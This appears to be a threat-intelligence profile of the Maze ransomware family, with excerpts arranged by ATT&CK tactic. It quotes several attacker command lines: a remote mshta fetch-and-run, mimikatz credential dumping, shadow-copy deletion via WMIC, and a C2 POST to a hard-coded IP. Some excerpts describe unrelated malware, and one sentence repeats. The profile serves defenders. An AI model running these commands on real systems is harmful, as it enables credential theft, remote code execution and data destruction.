Maze
- Type
- Ransomware
- Capabilities
- ExfiltrationExtortionProcess injection
- Delivery
- MalspamExploit kit
- Platforms
- Windows
Maze is a Windows ransomware family associated with financially motivated attacks against organizations, including healthcare providers, security staffing companies, and IT service providers. It encrypts victim files using ChaCha and RSA cryptography and demands payment for decryption. Maze became particularly influential in late 2019 by popularizing double extortion: attackers stole sensitive information before encryption and threatened to publish it if victims refused to pay. Its operators released stolen Allied Universal data, establishing a prominent early example of this approach.
Maze has been distributed through malicious spam campaigns, fake cryptocurrency websites, and exploit kits. Spelevo exploit-kit campaigns delivered Maze by exploiting a Flash Player use-after-free vulnerability. Maze has also injected its malicious DLL into a target process.
Maze deployments formed part of a broader criminal ecosystem involving actors that established access before ransomware deployment. FIN7 has acted as a precursor to Maze attacks, and intrusions attributed to UNC961, also known as Gold Melody and Prophet Spider, have preceded Maze deployment by separate follow-on actors. The Maze operation shut down in 2020.
Associated vulnerabilities
8 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
14 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
This is part of a tactic known as double extortion, which was pioneered by the Maze ransomware group in late 2019.
CYFIRMA’s researchers have tracked Maze as early as Jun last year, and on 10 Jun, Maze group have released a long list of companies who have fallen victim to their cyberattacks.
CYFIRMA’s researchers have tracked Maze as early as Jun last year, and on 10 Jun, Maze group have released a long list of companies who have fallen victim to their cyberattacks.
CYFIRMA’s researchers have tracked Maze as early as Jun last year, and on 10 Jun, Maze group have released a long list of companies who have fallen victim to their cyberattacks.
+8 more in the app. View in Mallory
Techniques & procedures
95 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
1 technique
Reconnaissance
some ransomware gangs are now cold-calling victims on their phones if they suspect that a hacked company might try to restore from backups and avoid paying ransom demands.
Resource Development
3 techniques
Resource Development
the attackers created a fake Abra cryptocurrency site to buy ad network traffic which was later used to redirect visitors to the exploit kit landing page under certain conditions.
"Most recently, the malvertising-based Fallout exploit kit chain has been used to deliver instances of Maze ransomware"
Ransomware attackers often rely on third parties for tools like bulletproof hosting, penetration testing services, or access to vulnerabilities in victims’ networks.
Initial Access
8 techniques
Initial Access
TTPs Initial Access Bruting T1078 SMB exploitation T1190 RDP T1133
Past Maze infections have been traced back to exploit kits, unsecured remote desktop connections, impersonation emails and compromised email accounts via malicious Word documents.
The distribution tactic of the Maze ransomware initially involved infections via exploit kits (namely, Fallout EK and Spelevo EK), as well as via spam with malicious attachments.
Maze tends to use known vulnerabilities like the Pulse VPN CVE-2019-11510 to break in
Maze mentioned that its member breached SEI Investments company using information previously stolen from BHiveLab and M.J. Brunner.
Maze Ransomware usually deploy phishing emails with MS Office attachments and fake/phishing websites laced with Exploit Kits.
Maze Ransomware usually deploy phishing emails with MS Office attachments
The threat actor group APT28 leverages TTPs like obfuscated files or information, PowerShell, exploitation of remote services for lateral movement, credential stealing through spear-phishing links
Execution
12 techniques
Execution
[Maze](https://attack.mitre.org/software/S0449) has used WMI to attempt to delete the shadow volumes on a machine, and to connect a virtual machine to the network domain of the victim organization's network.(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)
For the first two attempts, the Maze attacker attempted to launch various ransomware executables using scheduled tasks named 'Windows Update Security,' or 'Windows Update Security Patches,' or 'Google Chrome Security Update.'
[Maze](https://attack.mitre.org/software/S0449) has created scheduled tasks using name variants such as "Windows Update Security", "Windows Update Security Patches", and "Google Chrome Security Update", to launch [Maze](https://attack.mitre.org/software/S0449) at a specific time.(Citation: Sophos Maze VM September 2020)
Execution whoami /priv T1059 whoami /groups T1059 klist T1059 net group “Enterprise Admins” /domain T1059 net group “Domain Admins” /domain T1059 mshta http://x.x.x.x/ktfrJ T1059 powershell Find-PSServiceAccounts T1059
The threat actor group APT28 leverages TTPs like obfuscated files or information, PowerShell
The [Maze](https://attack.mitre.org/software/S0449) encryption process has used batch scripts with various commands.(Citation: FireEye Maze May 2020)(Citation: Sophos Maze VM September 2020)
If they fall for it, the malicious macro contained inside the document will execute, which in turn will result in the victim’s PC being infected with Maze ransomware.
[Maze](https://attack.mitre.org/software/S0449) has used several Windows API functions throughout the encryption process including IsDebuggerPresent, TerminateProcess, Process32FirstW, among others.(Citation: McAfee Maze March 2020)
Past Maze infections have been traced back to exploit kits, unsecured remote desktop connections, impersonation emails and compromised email accounts via malicious Word documents.
MAZE Group 2 mapping includes “T1204: User Execution,” consistent with users opening malicious attachments/links.
compromised email accounts via malicious Word documents
VirtualProtect を使用して ntdll の DbgUiRemoteBreakin という関数のアドレス帯のアクセス権を PAGE_EXECUTE_READ から PAGE_EXECUTE_READWRITE に変更し、開始アドレスの命令を 0x6C から 0xC3(ret 命令 ) へ 1 バイト書き換えます。
Persistence
8 techniques
Persistence
For the first two attempts, the Maze attacker attempted to launch various ransomware executables using scheduled tasks named 'Windows Update Security,' or 'Windows Update Security Patches,' or 'Google Chrome Security Update.'
[Maze](https://attack.mitre.org/software/S0449) has created scheduled tasks using name variants such as "Windows Update Security", "Windows Update Security Patches", and "Google Chrome Security Update", to launch [Maze](https://attack.mitre.org/software/S0449) at a specific time.(Citation: Sophos Maze VM September 2020)
TTPs Initial Access Bruting T1078 SMB exploitation T1190 RDP T1133
After files have been encrypted and all folders have been processed, the wallpaper is changed to the Maze ransomware message.
Past Maze infections have been traced back to exploit kits, unsecured remote desktop connections, impersonation emails and compromised email accounts via malicious Word documents.
“An actor created a new domain account and added it to the domain administrators group.” and mapping “T1136: Create Account.”
C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
[Maze](https://attack.mitre.org/software/S0449) has created a file named "startup_vrun.bat" in the Startup folder of a virtual machine to establish persistence.(Citation: Sophos Maze VM September 2020)
Privilege Escalation
10 techniques
Privilege Escalation
For the first two attempts, the Maze attacker attempted to launch various ransomware executables using scheduled tasks named 'Windows Update Security,' or 'Windows Update Security Patches,' or 'Google Chrome Security Update.'
[Maze](https://attack.mitre.org/software/S0449) has created scheduled tasks using name variants such as "Windows Update Security", "Windows Update Security Patches", and "Google Chrome Security Update", to launch [Maze](https://attack.mitre.org/software/S0449) at a specific time.(Citation: Sophos Maze VM September 2020)
Aria-body has the ability to inject itself into another process such as rundll32.exe and dllhost.exe... BlackEnergy injects its DLL component into svchost.exe... ComRAT has injected its orchestrator DLL into explorer.exe... Stuxnet injects an entire DLL into an existing, newly created, or preselected trusted process.
[Maze](https://attack.mitre.org/software/S0449) has injected the malware DLL into a target process.(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)
The IP addresses <Details Masked> mentioned in Cognizant attack vector was seen exploiting two old vulnerabilities CVE-2016-7255 and CVE-2018-8453. Both these Win32k Elevations of Privilege Vulnerabilities
TTPs Initial Access Bruting T1078 SMB exploitation T1190 RDP T1133
Privilege Escalation (TA0029), T1484 Group Policy Modification: Force group policy update that creates service to execute ransomware.
C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
[Maze](https://attack.mitre.org/software/S0449) has created a file named "startup_vrun.bat" in the Startup folder of a virtual machine to establish persistence.(Citation: Sophos Maze VM September 2020)
once admin privileges are achieved the groups exfiltrates information and deploy the maze ransomware
Stealth
24 techniques
Stealth
[Maze](https://attack.mitre.org/software/S0449) has decrypted strings and other important information during the encryption process. [Maze](https://attack.mitre.org/software/S0449) also calls certain functions dynamically to hinder analysis.(Citation: McAfee Maze March 2020)
The Maze ransomware is typically distributed as a PE binary (EXE or DLL depending on the specific scenario) which is developed in C/C++ and obfuscated by a custom protector.
Mazeランサムウェアの EXE ファイルには PNG 画像がリソースセクションに埋め込まれており、メインモジュール (DLL) はその画像の中に多重に暗号化され保存されています。
The first thing the shellcode does is to import two functions: LoadLibraryA and GetProcAddress, using name hashing.
[Maze](https://attack.mitre.org/software/S0449) has inserted large blocks of junk code, including some components to decrypt strings and other important information for later in the encryption process.(Citation: McAfee Maze March 2020)
These email spoofs are notable for using convincing stolen branding and lookalike domains of European taxation agencies and other public-facing entities such as Internet service providers. Most recently, the actor has attacked US organizations spoofing the United States Postal Service.
[Maze](https://attack.mitre.org/software/S0449) operators have created scheduled tasks masquerading as "Windows Update Security", "Windows Update Security Patches", and "Google Chrome Security Update" designed to launch the ransomware.(Citation: Sophos Maze VM September 2020)
Of particular note is the use of stolen branding as well as the use of lookalike .icu domains used for the sender email address in order to craft effective lures.
Aria-body has the ability to inject itself into another process such as rundll32.exe and dllhost.exe... BlackEnergy injects its DLL component into svchost.exe... ComRAT has injected its orchestrator DLL into explorer.exe... Stuxnet injects an entire DLL into an existing, newly created, or preselected trusted process.
[Maze](https://attack.mitre.org/software/S0449) has injected the malware DLL into a target process.(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)
[Maze](https://attack.mitre.org/software/S0449) has used the “Wow64RevertWow64FsRedirection” function following attempts to delete the shadow volumes, in order to leave the system in the same state as it was prior to redirection.(Citation: McAfee Maze March 2020)
As with most ransomware, it deletes shadow copies with the Windows Management Instrumentation command line utility WMIC.exe.
TTPs Initial Access Bruting T1078 SMB exploitation T1190 RDP T1133
MAZE Group 2 mapping includes “T1140: Deobfuscate/Decode Files or Information.”
MAZE Group 3 mapping includes “T1202: Indirect Command Execution,” and distribution script shows “regsvr32.exe /i …” execution pattern.
This particular campaign includes a signed DLL payload (kepstl32.dll).
[Maze](https://attack.mitre.org/software/S0449) has delivered components for its ransomware attacks using MSI files, some of which have been executed from the command-line using <code>msiexec</code>.(Citation: Sophos Maze VM September 2020)
Some initial checks are performed before moving forward. Analysis tools are identified by their ADLER-32 checksum on process name, and the following are terminated, if running: ida.exe, ida64.exe, x32dbg.exe, x64dbg.exe, python.exe, fiddler.exe, dumpcap.exe, procmon.exe, procexp.exe, procmon64.exe, procexp64.exe
Mazeランサムウェアには感染を停止させる「キルスイッチ」が2つ存在します。1つ目は、端末内に「 C:\JDUIHiuf\IDisjopjcnb 」というファイルが存在した場合、感染を行わずすぐに終了します。2つ目に用意されているのは、実行引数に「 --DIdsjdjdj 」という文字列が含まれていた場合で、こちらも同様に感染を行わずすぐに終了します。
NtSetEaFile という API を使用して見えないように上記のファイルの NTFS ファイルシステムの拡張ファイル属性( extended file attribute )という隠された領域に中に埋め込んでいます。
[Maze](https://attack.mitre.org/software/S0449) operators have used VirtualBox and a Windows 7 virtual machine to run the ransomware; the virtual machine's configuration file mapped the shared network drives of the target company, presumably so [Maze](https://attack.mitre.org/software/S0449) can encrypt files on the shared drives as well as the local machine.(Citation: Sophos Maze VM September 2020)
VirtualProtect を使用して ntdll の DbgUiRemoteBreakin という関数のアドレス帯のアクセス権を PAGE_EXECUTE_READ から PAGE_EXECUTE_READWRITE に変更し、開始アドレスの命令を 0x6C から 0xC3(ret 命令 ) へ 1 バイト書き換えます。
Mazeランサムウェアは実行されると、最初の EXE がローダーの役割を持ち、内部の画像から抽出してメモリ上に展開した DLL をロードして、メインの不正活動を行っていきます。
Mazeランサムウェアが他のランサムウェアと比較してより特徴的な点として、多数のアンチデバッグテクニックを使用している点が挙げられます。
Defense Impairment
3 techniques
Defense Impairment
After files have been encrypted and all folders have been processed, the wallpaper is changed to the Maze ransomware message.
Privilege Escalation (TA0029), T1484 Group Policy Modification: Force group policy update that creates service to execute ransomware.
[Maze](https://attack.mitre.org/software/S0449) has disabled dynamic analysis and other security tools including IDA debugger, x32dbg, and OllyDbg.(Citation: McAfee Maze March 2020) It has also disabled Windows Defender's Real-Time Monitoring feature and attempted to disable endpoint protection services.(Citation: Sophos Maze VM September 2020)
Credential Access
3 techniques
Credential Access
Credential Access mimikatz sekurlsa::logonpasswords T1003, T1055, T1093 hashdump T1003, T1055, T1093
the attackers used RDP to gain access to an internet-facing machine, probably by brute-forcing the Administrator’s password
Изменяет файлы в папке расширения Chrome и читает куки, видимо с целью кражи личных данных.
Discovery
14 techniques
Discovery
例えば、ユーザ名が「 Taro 」の場合、以下のようなセリフが合成音声により繰り返し再生されます。 Taro Alert! Taro Alert! Dear Taro Your files have been encrypted by Maze ransomware!
Discovery portscan T1046
[Maze](https://attack.mitre.org/software/S0449) has used the "WNetOpenEnumW", "WNetEnumResourceW”, “WNetCloseEnum” and “WNetAddConnection2W” functions to enumerate the network resources on the infected machine.(Citation: McAfee Maze March 2020)
[Maze](https://attack.mitre.org/software/S0449) has gathered all of the running system processes.(Citation: McAfee Maze March 2020)
[Maze](https://attack.mitre.org/software/S0449) has checked the language of the infected system using the "GetUSerDefaultUILanguage" function.(Citation: McAfee Maze March 2020)
“attempted to find files with the word ‘password’…” and mappings include “T1083: File and Directory Discovery.”
また、 WNetEnumResource などでネットワークリソースを列挙し、ネットワーク共有なども暗号化の対象となります。
During these stages, the use of the following tools has been observed: mimikatz, procdump, Cobalt Strike, Advanced IP Scanner, Bloodhound, PowerSploit, and others.
Some initial checks are performed before moving forward. Analysis tools are identified by their ADLER-32 checksum on process name, and the following are terminated, if running: ida.exe, ida64.exe, x32dbg.exe, x64dbg.exe, python.exe, fiddler.exe, dumpcap.exe, procmon.exe, procexp.exe, procmon64.exe, procexp64.exe
Mazeランサムウェアには感染を停止させる「キルスイッチ」が2つ存在します。1つ目は、端末内に「 C:\JDUIHiuf\IDisjopjcnb 」というファイルが存在した場合、感染を行わずすぐに終了します。2つ目に用意されているのは、実行引数に「 --DIdsjdjdj 」という文字列が含まれていた場合で、こちらも同様に感染を行わずすぐに終了します。
次に、以下のように WMI クエリを使用して感染端末内にインストールされているアンチウイルス製品の情報を取得します。
Examples include: “Bazar … check if the Russian language is installed … and terminate if it is found.”; “DropBook … checked for the presence of Arabic language …”; “Maze … checked the language … GetUserDefaultUILanguage”; “SynAck … checks installed keyboard layouts to estimate … countries.”
[Maze](https://attack.mitre.org/software/S0449) has checked the language of the machine with function <code>GetUserDefaultUILanguage</code> and terminated execution if the language matches with an entry in the predefined list.(Citation: McAfee Maze March 2020)
Mazeランサムウェアが他のランサムウェアと比較してより特徴的な点として、多数のアンチデバッグテクニックを使用している点が挙げられます。
Lateral Movement
4 techniques
Lateral Movement
Lateral Movement ... Network shares T1021
the attackers used RDP to gain access to an internet-facing machine, probably by brute-forcing the Administrator’s password
PsExec can also be used for propagation and remote execution of ransomware.
The threat actor group APT28 leverages TTPs like obfuscated files or information, PowerShell, exploitation of remote services for lateral movement
Collection
4 techniques
Collection
Cybercriminals are embracing data-theft extortion by creating dark web marketplaces that exist solely to sell stolen data.
The threat actor group APT28 leverages TTPs like obfuscated files or information, PowerShell, exploitation of remote services for lateral movement, credential stealing through spear-phishing links and data-staged techniques.
During these intermediate stages, the threat actors attempt to identify valuable data stored on the servers and workstations in the compromised network.
When Maze finds backups stored in the cloud, they attempt to obtain the cloud storage credentials and then use them to restore the victim's data to servers under the attacker's control.
Command and Control
4 techniques
Command and Control
We have seen the following outbound connections from this sample: POST http://91.218.114.4/withdrawal/jfmd.do ...
[Maze](https://attack.mitre.org/software/S0449) has communicated to hard-coded IP addresses via HTTP.(Citation: McAfee Maze March 2020)
With the Cobalt Strike payloads injected, the cybercriminals can then further traverse the target environment (move laterally) or pull-down additional tools and malware.
[Maze](https://attack.mitre.org/software/S0449) has forged POST strings with a random choice from a list of possibilities including "forum", "php", "view", etc. while making connection with the C2, hindering detection efforts.(Citation: McAfee Maze March 2020)
Exfiltration
8 techniques
Exfiltration
"...stole 40GB of source code..." and "we downloaded 40GB of Python source codes from Lg"
Before encrypting a victim's network, most network-targeting ransomware operations will steal a victim's unencrypted files.
there is also functionality to exfiltrate files to remote resources under the attacker’s control.
This information is exfiltrated back to the command and control server using a standard port 80 HTTP POST method, connecting using Windows’ socket library, WS2_32.dll.
Maze ransomware operators are known to launch their attack under the surface and have a history of first stealing the data before locking their target devices.
Mazeランサムウェアを操る攻撃者の大きな特徴は、ランサムウェアによって暗号化を行う前にすでに被害者端末からデータを盗み出しており、身代金支払いの要求に応じない場合はそれらの窃取データを実際に公開するという点です。
Modern ransomware operations also involve data theft... utilizing off-the-shelf file backup tools to do the job.
As 14 ransomware gangs are now stealing data and publishing it in their blogs, we can assume that more ransomware operators will adopt the tactic and will require double ransoms.
Impact
7 techniques
Impact
As with previous variants of Maze, the trojan will attempt to inhibit recovery by deleting shadow copies via WMIC.exe ( wmic.exe shadowcopy delete )
[Maze](https://attack.mitre.org/software/S0449) has disrupted systems by encrypting files on targeted machines, claiming to decrypt files if a ransom payment is made. [Maze](https://attack.mitre.org/software/S0449) has used the ChaCha algorithm, based on Salsa20, and an RSA algorithm to encrypt files.(Citation: FireEye Maze May 2020)
[Maze](https://attack.mitre.org/software/S0449) has stopped SQL services to ensure it can encrypt any database.(Citation: Sophos Maze VM September 2020)
[Maze](https://attack.mitre.org/software/S0449) has attempted to delete the shadow volumes of infected machines, once before and once after the encryption process.(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)
Maze ランサムウェアはその後、メモリ上で不可視の画像を作成し、上記のように生成した文字列を書き込んだ上で画像をキャプチャし BMP 画像として生成、デスクトップの壁紙に設定します。
[Maze](https://attack.mitre.org/software/S0449) has issued a shutdown command on a victim machine that, upon reboot, will run the ransomware within a VM.(Citation: Sophos Maze VM September 2020)
The modus operandi of Maze hackers would entail releasing threats of data dump on public forum if ransom is not paid.
Observables
280 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
200 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.